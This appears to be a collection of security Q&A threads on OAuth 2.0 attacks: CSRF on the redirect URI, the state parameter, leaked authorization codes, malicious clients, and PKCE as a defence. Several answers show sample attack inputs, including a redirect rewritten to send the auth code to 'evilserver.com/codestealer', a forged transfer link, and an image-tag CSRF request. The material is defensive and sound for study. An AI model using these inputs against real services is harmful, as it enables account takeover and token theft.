How to prevent a OAuth attack (see attack scenario)? - security

Here is the attack scenario of how an attacker can takeover victim's account:
Attacker is authenticated at provider.com
Attacker initiates a process of authenticating with provider.com at some site.com
Attacker doesn't exchange an auth code for an access token and copies the link https://provider.com/oauth/authenticate?code={authorization-code}which is then sent to a victim
The victim is authenticated on provider and clicks the above link, exchanges an auth code for an access token and ends up being authenticated on site.com with the victim's account
Attacker now continues the authorization process and exchanges the same auth code for an access token and ends up being authenticated on site.com with the victim's account.
How to prevent this kind of attacks that exploit a weakness in the OAuth protocol?
Thanks all in advance!

If a state parameter was maintained by site.com then the attacker's state code would be bound to his/her browser but not the victim's. Therefore site.com would not be able to correlate the state code with the victim's browser session when he/she clicks on the malicious URL.
Have a look at what the Oauth2.0 spec says about this.

Related

What kind of CSRF attack does state parameter prevent in OAuth2-based authentication?

I'm working on authentication part with Google OAuth2 API.
I'm using "server" flow, not "implicit".
When implementing step 1 for obtaining code guidelines recommend using the state parameter to ensure that in the end, the service provider will receive the response that correlates to the auth request he initiated.
See https://developers.google.com/identity/protocols/OpenIDConnect#createxsrftoken
I understand that there is a possibility that code can be stolen, and redirect_uri guessed.
But I don't understand why this is called anti-CSRF protection?
According to wiki CSRF attack "exploits the trust that a site has in a user's browser".
As I understand something sensitive should be kept in the browser to make CSRF attack possible. The most classic example - an authentication cookie.
But what is kept in the browser in relation to OpenID-connect code flow?
It is just two consequent redirects from service provider to identity provider and back. The code itself is passed on callback as a URL param.Browser's role is passive - to be redirected two times. Nothing is stored here.
So my question is what exactly kind of CSRF attack does state prevent? Can anyone give a detailed example? Or is it just misusing of term "CSRF" in google guidelines?
When using the authorization code flow in OAuth2, the user browses to the client application, which then redirects the browser to the authorization server to be logged in and get an access token.
302 https://auth.server/authorize?response_type=code&client_id=....
After you've signed in on the authorization server, it will redirect you back to the registered redirection URI with the issued code. The client application will then exchange the code for an access token and optionally go to a URL encoded in the state parameter.
Now, an attacker could trick you into clicking a link (from an email or something) like:
<a href="https://auth.server/authorize?response_type=code&client_id=...."
This would execute the same request to the authorization server. Once you logged in and the authorization server redirects you back to the client application, the client application has no way of knowing whether the incoming GET request with the authorization code was caused by a 302 redirect it initiated or by you clicking that hyperlink in the malicious email.
The client application can prevent this by sticking some entropy in the state parameter of the authorization request. Since the state parameter will be included as a query parameter on the final redirect back to the client application, the client application can check if the entropy matches what it kept locally (or in a secure HTTP only cookie) and know for sure that it initiated the authorization request, since there's no way an attacker can craft a URL with entropy in the state parameter that will match something the client application keeps.
The objective of CSRF is to dupe the user into performing an action (usually a destructive write action that the user wouldn't do under normal circumstances) in a website by clicking on a link sent by the attacker. An example of such an activity could be deletion of user's own account in the website. Assuming that the user is logged into the website, the requests originating from the user's browser are trusted by the website server which has no way to find out (without the CSRF token) that the user is actually duped into making that request.
In case of Google OAuth2 (Authorization code grant type), note that the initial request to the Google auth server contains the url that the user actually wants to visit after succesful authentication. An attacker can carefully contruct that url with some malicious intent and make the user use it.
The state token check enables the server ensure that the request is indeed originated from its own website and not from any other place. If the attacker creates the url with some random state token, the server wouldn't recognise that and reject the request.
If you have such doubts, best resource you must refer is the specification. For OAuth 2.0, this is RFC6749 . There is a dedicated section in the specification which discuss about Cross-Site Request Forgery
Cross-site request forgery (CSRF) is an exploit in which an attacker
causes the user-agent of a victim end-user to follow a malicious URI
(e.g., provided to the user-agent as a misleading link, image, or
redirection) to a trusting server (usually established via the
presence of a valid session cookie).
From the specification perspective, you must implement state handling mechanism into your application
The client MUST implement CSRF protection for its redirection URI.
This is typically accomplished by requiring any request sent to the
redirection URI endpoint to include a value that binds the request to
the user-agent's authenticated state (e.g., a hash of the session
cookie used to authenticate the user-agent). The client SHOULD
utilize the "state" request parameter to deliver this value to the
authorization server when making an authorization request.
And about a detailed explanation, directly from specifaciton
A CSRF attack against the client's redirection URI allows an attacker
to inject its own authorization code or access token, which can
result in the client using an access token associated with the
attacker's protected resources rather than the victim's
Injecting an authorisation code from attacker, then manipulating your application to behave in a manner attacker wants.

What are the dangers of a leaking intermediate OAuth auth code?

Say a user wants to authorize mykittenblog.com to make calls on his behalf to payment.com.
mykittenblog.com has people login at payment.com like so
payment.com/oauth2/authorize?id=12345&redirect=http://mykittenblog.com
So payment.com can respond with an intermediate auth code that mykittenblog.com can use together with its client secret to retrieve an OAuth bearer token at payment.com
Now the 'redirect' parameter has an open redirect vulnerability that allows leaking of the auth code.
if a user logs in at
payment.com/oauth2/authorize?id=12345&redirect=http://evilserver.com/codestealer
payment.com will respond with
Location: http://evilserver.com/codestealer?code=4312871236481723874
What are the possible dangers in this situation?
If the intermediate authorization code is stolen by a malicious application, then it will be able to issue access tokens and get access to the resources. If a refresh token is also issued, then it will be able to renew that access token whenever it wants.
If your client is confidential, then the leak is limited (but not impossible) as the malicious client has to get your application credentials.
They are counter-measures to prevent that leak of code.
The registration of the redirect uris is a good start, but not sufficient.
Another way is the use of a Proof Key for Code Exchange described in the RFC7636. Without this PKCE, it is not possible for a malicious application to issue an access token as the challenge cannot be easily guessed.
From my point of view, the use of that the PKCE should always be done and not limited to the public clients.

Demystifying CSRF?

I've read through a lot of long explanations of CSRF and IIUC the core thing that enables the attack is cookie based identification of server sessions.
So in other words if the browser (And note I'm specifically narrowing the scope to web browsers here) does not use a cookie based session key to identify the session on the server, then a CSRF attack cannot happen. Did I understand this correctly?
So for example suppose someone creates a link like:
href="http://notsosecurebank.com/transfer.do?acct=AttackerA&amount;=$100">Read more!
You are tricked into clicking on this link while logged into http://notsosecurebank.com, however http://notsosecurebank.com does not use cookies to track your login session, and therefore the link does not do any harm since the request cannot be authenticated and just gets thrown in the garbage?
Assumptions
The OpenID Connect Server / OAuth Authorization server has been implemented correctly and will not send authentication redirects to any URL that you ask it to.
The attacker does not know the client id and client secret
Footnotes
The scenario I'm targeting in this question is the CSRF scenario most commonly talked about. There are other scenarios that fit the CSRF tag. These scenarios are highly unlikely, yet good to be aware of, and prepared for. One of them has the following components:
1) The attacker is able to direct you to a bad client
2) The attacker owns that client
3) The attacker has the secret for that client registered with the OAuth Authorization Server
4) The attacker is able to tell the Authorization Server that authenticates you to redirect back to the bad client after you have been authenticated with the proper server.
So setting this up is a little bit like breaking into Fort Knox, but certainly good to be aware of. For example OpenID Connect or OAuth Authorization Providers should most likely flag clients that register redirect URLs pointing to redirect URLs that other clients have also registered.
The most common / usually discussed CSRF Cross Site Request Forgery scenario can only happen when the browser stores credentials (as a cookie or as basic authentication credentials).
OAuth2 implementations (client and authorization server) must be careful about CSRF attacks. CSRF attacks can happens on the client's redirection URI and on the authorization server. According to the specification (RFC 6749):
A CSRF attack against the client's redirection URI allows an attacker
to inject its own authorization code or access token, which can
result in the client using an access token associated with the
attacker's protected resources rather than the victim's (e.g., save
the victim's bank account information to a protected resource
controlled by the attacker).
The client MUST implement CSRF protection for its redirection URI.
This is typically accomplished by requiring any request sent to the
redirection URI endpoint to include a value that binds the request to
the user-agent's authenticated state (e.g., a hash of the session
cookie used to authenticate the user-agent). The client SHOULD
utilize the "state" request parameter to deliver this value to the
authorization server when making an authorization request.
[...]
A CSRF attack against the authorization server's authorization
endpoint can result in an attacker obtaining end-user authorization
for a malicious client without involving or alerting the end-user.
The authorization server MUST implement CSRF protection for its
authorization endpoint and ensure that a malicious client cannot
obtain authorization without the awareness and explicit consent of
the resource owner
Theory is, CSRF is not related to the authentication method. If an adversary can have a victim user perform actions in another application that the victim didn't want, then that application is vulnerable to CSRF.
This can manifest in several ways, the most common being that a victim user visits a malicious website which in turn makes requests from the victim's browser to another application, thus performing actions the user didn't want. This way it is possible if credentials are sent by the victim browser automatically. By far the most common scenario is a session cookie, but there can be others as well, for example HTTP Basic auth (the browser remembers that as well), or Windows authentication in a domain (Kerberos/SPNEGO), or client certificates, or even some kind of an SSO under certain circumstances.
Also sometimes application authentication is cookie-based, and all non-GET (POST, PUT, etc.) requests are protected against CSRF, but GETs are not for obvious reasons. In languages like PHP, it is easy to make calls intended to be POST requests also work as GETs (think of using $_REQUEST in PHP). In that case, any other website can include something like <img src='http://victim.com/performstuff&param=123> to have actions performed silently.
There are also less obvious CSRF attacks in complex systems or flows, like for example the CSRF attacks against oauth.
So if a web application uses say tokens (sent as request headers, instead of session cookies) for authentication, meaning a client will have to add the token to each request, that is probably not vulnerable to CSRF, but as always, the devil is in the details.

How to prevent the following CSRF attack on Oauth2?

The victim authenticates via system browser at the Authorization Server in a Oauth2 authorization code flow and is issued a session cookie by the Authorization Server
The victim is tricked into clicking at a link on attackers web site which launches an Oauth2 authorization request via victims browser towards the Oauth2 Authorization Server with client ID and redirect URI for the attackers Oauth2 client
The Authorization Server will not need to authenticate victim since a session cookie is already issued by the Authorization Server but just ask victim to grant the attackers client access – which in this case the victim is assumed to do
The Authorization Server will redirect victims browser to the attackers redirect URI (which is assumed to point to a web application) with authorization response with Authorization Code for victim
The attacker is now in possession of Authorization Code for the victim, that he or she can exchange for refresh & access token
What are the best possible precautions against this except for the victim not to accept to grant the attackers client access?
I mean the average internet user will typically click accept to a lot of stuff on a normal day without thinking much about it.
For this to work, the attacker would have to register his client with the authentication provider, which in an enterprise setting should not be possible. Also as the redirect URI is not registered, the AP should never redirect the user back to the attacker.
In case of public APs where anyone can register a client, this is indeed a problem, but this is also the point in a sense. If the user authorizes the attacker's app, then the attacker's app will have access. As it is not different from normal apps in this regard, users will have to take care (while you are right, the majority of users will just click OK to anything).
The AP could still maintain a blacklist based on user reports for example, but that is a weak control. The best an AP can probably do is provide adequate information and warnings for the user, delaying the OK button for a few seconds to try to get them to read, etc.

Oauth2.0 redirection attack

The Oauth2.0 protocol says the following:
https://www.rfc-editor.org/rfc/rfc6749#section-10.6
When the attacker's user-agent is sent to the authorization server to grant access,
the attacker grabs the authorization URI provided by the legitimate client and replaces
the client's redirection URI with a URI under the control of the attacker. The attacker
then tricks the victim into following the manipulated link to authorize access to the
legitimate client.
How can an attacker trick/redirect the victim to a manipulated link? How easy is that to do? Can someone give me an example of this attack?
I'd read the next paragraph:
The victim is then redirected to an endpoint under the control of
the attacker with the authorization code. The attacker completes
the authorization flow by sending the authorization code to the
client using the original redirection URI provided by the client.
The client exchanges the authorization code with an access token
and links it to the attacker's client account, which can now gain
access to the protected resources authorized by the victim (via the
client).
how it works? the attacker owns his website, www.attacker.com. after grabbing the authorization URI, the attacker replaces the "redirect_uri" param and places there his own URL, "www.attacker.com". then, the oauth-server redirects back to this URL, with the auth code as a param (this is the response). this way the attacker gets the code, and then easily he exchanges it with an access token, and bang! he has access to the "resource server" on behalf of the poor victim.

Resources